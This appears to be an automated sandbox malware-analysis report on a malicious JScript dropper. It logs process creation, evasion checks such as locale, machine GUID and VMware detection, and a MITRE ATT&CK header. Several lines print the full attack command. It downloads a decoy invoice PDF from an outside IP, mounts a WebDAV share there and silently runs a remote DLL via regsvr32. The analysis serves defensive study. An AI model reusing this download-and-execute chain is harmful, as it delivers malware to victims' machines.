Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5769.js.csv");ITextStream.WriteLine(" entry:7120 f:jehtwi");ITextStream.WriteLine(" exec:2 f:jehtwi");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4188			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5689			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1736	Thread sleep count: 4188 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3272	Thread sleep count: 5689 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3776	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5212	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 760	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6188	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1519301300.000001E55BA62000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1520218378.000001E55BA00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2730062545.00000220D2855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2728773832.00000220CD213000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2728825807.00000220CD22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1446690231.00000252A2D88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
